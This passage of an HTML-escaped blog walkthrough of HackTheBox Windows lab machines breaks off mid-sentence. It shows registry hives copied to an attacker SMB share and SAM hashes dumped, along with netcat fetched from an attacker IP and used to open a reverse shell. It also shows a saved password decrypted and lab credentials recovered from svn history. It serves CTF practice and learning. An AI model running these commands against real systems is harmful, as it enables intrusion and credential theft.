\\10.10.16.14\kali\sam.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;copy .\system.hiv \\10.10.16.14\kali\system.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python D:\python3.9\Scripts\secretsdump.py -sam sam.hiv -system system.hiv LOCAL&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[*] Target system bootKey: 0x4a96b0f404fd37b862c07c2aa37853a5&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Administrator:500:aad3b435b51404eeaad3b435b51404ee:a01f16a7fa376962dbeb29a764a06f00:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:330fe4fd406f9d0180d67adb0b0dfa65:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sshd:1000:aad3b435b51404eeaad3b435b51404ee:91ad590862916cdfd922475caed3acea:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;DevToolsUser:1002:aad3b435b51404eeaad3b435b51404ee:1b9ce6c5783785717e9bbb75ba5f9958:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;app:1003:aad3b435b51404eeaad3b435b51404ee:e3cb0651718ee9b4faffe19a51faff95:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[*] Cleaning up...&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0374.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;app:mesh5143&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;It seemed that runas could not switch users, and even though the target had port 5985 open, I could not use evil-winrm either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0375.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Even when I got it working, it had no effect, because these two environments did not seem to be the same. I still had to go through the web service on port 8080 to reach that NFS-mounted directory. I still did not understand how this environment was implemented. Was it a USB device or a remote service? The data window was mounted from somewhere, anyway. I would need to study it properly once I was finished.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0376.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iwr http://10.10.16.14:33333/ncexe/nc64.exe -OutFile .\nc64.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I uploaded another copy of nc to the app directory because app did not have permission to access the previous one.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\\Data\\Users\\app\\nc64.exe 10.10.16.14 8888 -e C:\Windows\System32\cmd.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Getting the flag:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$creds = Import-Clixml -Path C:\Data\Users\app\user.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$creds.GetNetworkCredential().password&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;There were still a few unanswered questions, though.&lt;/p&gt;&#10;&lt;p&gt;First: I remembered that when decrypting, importing that user&amp;rsquo;s credentials might also let me decrypt it directly, without switching users.&lt;/p&gt;&#10;&lt;p&gt;Second: runas was the only method I knew for switching users, and it was also the only method I could find on google. I wanted to see whether there was a more convenient way.&lt;/p&gt;&#10;&lt;p&gt;Third: what exactly did this environment look like?&lt;/p&gt;&#10;&lt;p&gt;Starting with the first question, I googled for a long time without finding an answer, so I decided to ask claude.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0377.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The second question:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;psexec -u app -p password powershell&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$username = &amp;#34;app&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$password = ConvertTo-SecureString &amp;#34;password&amp;#34; -AsPlainText -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$cred = New-Object System.Management.Automation.PSCredential($username, $password)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Method 1: Invoke-Command&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock { COMMAND_TO_RUN } -Credential $cred&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Method 2: Start-Process&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Start-Process powershell -Credential $cred -ArgumentList &amp;#34;COMMAND_TO_RUN&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The third question:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0378.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I have to say, that really was impressive.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0379.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0380.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At this point, the logic was crystal clear.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IoT Core is the management layer controlling access to the USB device, which is the data directory&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Port 8080 exposes the IoT Core management interface, the Windows Device Portal mentioned earlier&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The main application runs on port 28080&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Credentials recovered through the web interface on port 8080 are required to access the data directory&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Attacker --&amp;gt; port 8080 management interface --&amp;gt; USB device --&amp;gt; data directory&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I have to say, this box had a lot of character. It revolved around Windows-specific services and expanded on them really well.&lt;/p&gt;&#10;&lt;h2 id="17worker"&gt;&lt;a href="#17worker" class="header-anchor"&gt;&lt;/a&gt;17.Worker&#10;&lt;/h2&gt;&lt;p&gt;I got stuck while trying to get a shell, so this is for practice only.&lt;/p&gt;&#10;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0381.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0382.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0383.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing on port 80, so I left a brute-force scan running in the background.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0384.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Port 3690 was running an svnserve service.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://book.hacktricks.xyz/network-services-pentesting/3690-pentesting-subversion-svn-server" target="_blank" rel="noopener"&#10; &gt;https://book.hacktricks.xyz/network-services-pentesting/3690-pentesting-subversion-svn-server&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;That page has payloads for svnserve, and it even uses this same machine as its example.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svn ls svn://10.10.10.203 #list&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svn log svn://10.10.10.203 #Commit history&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svn checkout svn://10.10.10.203 #Download the repository&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svn up -r 2 #Go to revision 2 inside the checkout folder&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I added the domain to hosts.&lt;/p&gt;&#10;&lt;p&gt;I got the source code, but it was just a static front-end site. I figured it was probably meant to give me a hint. At &lt;a class="link" href="http://dimension.worker.htb/#work" target="_blank" rel="noopener"&#10; &gt;http://dimension.worker.htb/#work&lt;/a&gt;, I found a bunch of subdomains.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0385.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I opened them and added them to hosts, while continuing to brute-force subdomains.&lt;/p&gt;&#10;&lt;p&gt;The ones I added to hosts all seemed to be static front-end pages from &lt;a class="link" href="http://html5up.net/" target="_blank" rel="noopener"&#10; &gt;http://html5up.net/&lt;/a&gt;. JSFinder.py did not find anything for these domains either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0386.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.203 -H &amp;#34;Host: FUZZ.worker.htb&amp;#34; --hh 703&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0387.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0388.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Looks like brute forcing was still necessary, though I generally do not like it because it makes everything lag.&lt;/p&gt;&#10;&lt;p&gt;First, I used cewl to generate a wordlist from all the domains, then took a look at the request.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0389.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It used the NTLM protocol, which looked a little troublesome, but two other protocols were shown on the right. It seemed like they could be used for authentication, so I Googled it.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://learn.microsoft.com/en-us/aspnet/web-api/overview/security/basic-authentication" target="_blank" rel="noopener"&#10; &gt;https://learn.microsoft.com/en-us/aspnet/web-api/overview/security/basic-authentication&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0390.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;So I could construct the request using Basic authentication.&lt;/p&gt;&#10;&lt;p&gt;If I used this wordlist for both usernames and passwords, that would be 1800*1800 combinations—far too many. So I decided to look for a few likely usernames instead.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0391.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The framework turned out to be Azure DevOps Server, so I planned to use that clue to find usernames.&lt;/p&gt;&#10;&lt;p&gt;Meanwhile, ffuf was still running and gave me another result.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0392.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Of course, there was still nothing there. I started brute forcing the Azure DevOps Server. I could not find a default username, so I tried a few simple ones.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0393.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I also tried brute forcing directories on the service. At the same time, I kept svnserve in mind. I still was not entirely sure what it did, since I had only used commands provided by exploits before. It could retrieve the source code of the default page; if it could also retrieve the source for devops.worker.htb, I felt I would be very close to the target.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0394.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had not read carefully enough. When I went back to svnserve, I noticed that it had actually mentioned this.&lt;/p&gt;&#10;&lt;p&gt;I did not know what use the static front-end source was. After looking more carefully at the commands, though, I realized I might have missed something obvious.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svn ls svn://10.10.10.203 #list&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svn log svn://10.10.10.203 #Commit history&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svn checkout svn://10.10.10.203 #Download the repository&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svn up -r 2 #Go to revision 2 inside the checkout folder&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;There was very little relevant information available. My understanding was that an SVN repository is somewhat like one on GitHub: changes can be committed many times, and I can retrieve the results of those updates and update my local repository. At least, that was what my own testing seemed to show.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svn log svn://10.10.10.203&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0395.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was an r1-r5 entry near the end, so I looked up the following command.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svn up -r 2&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0396.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It is actually short for update: it updates the selected target revision in the local copy.&lt;/p&gt;&#10;&lt;p&gt;I had just downloaded the first revision. I started updating to revisions 2, 3, 4, and 5 to see what was different.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0397.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;moved.txt had been deleted, and a new deploy.ps1 had been added.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0398.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Now I understood. Just like on the previous machine, PowerShell had encrypted the password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0399.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;So the plaintext credentials were still:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nathen:wendel98&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Unfortunately, neither WinRM nor devops.worker.htb would accept those credentials.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0400.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I switched to the third revision.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0401.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It had only removed the password, which made sense if the code was going to be open sourced.&lt;/p&gt;&#10;&lt;p&gt;The fourth revision:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0402.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It simply deleted deploy.ps1.&lt;/p&gt;&#10;&lt;p&gt;The fifth revision:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0403.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At this point, the key was clearly the second revision, where the password appeared. But I still did not understand why authentication kept failing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0404.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Yes, something was wrong with the password. On the previous machine, when I learned about PowerShell encryption, the plaintext was the actual password. The 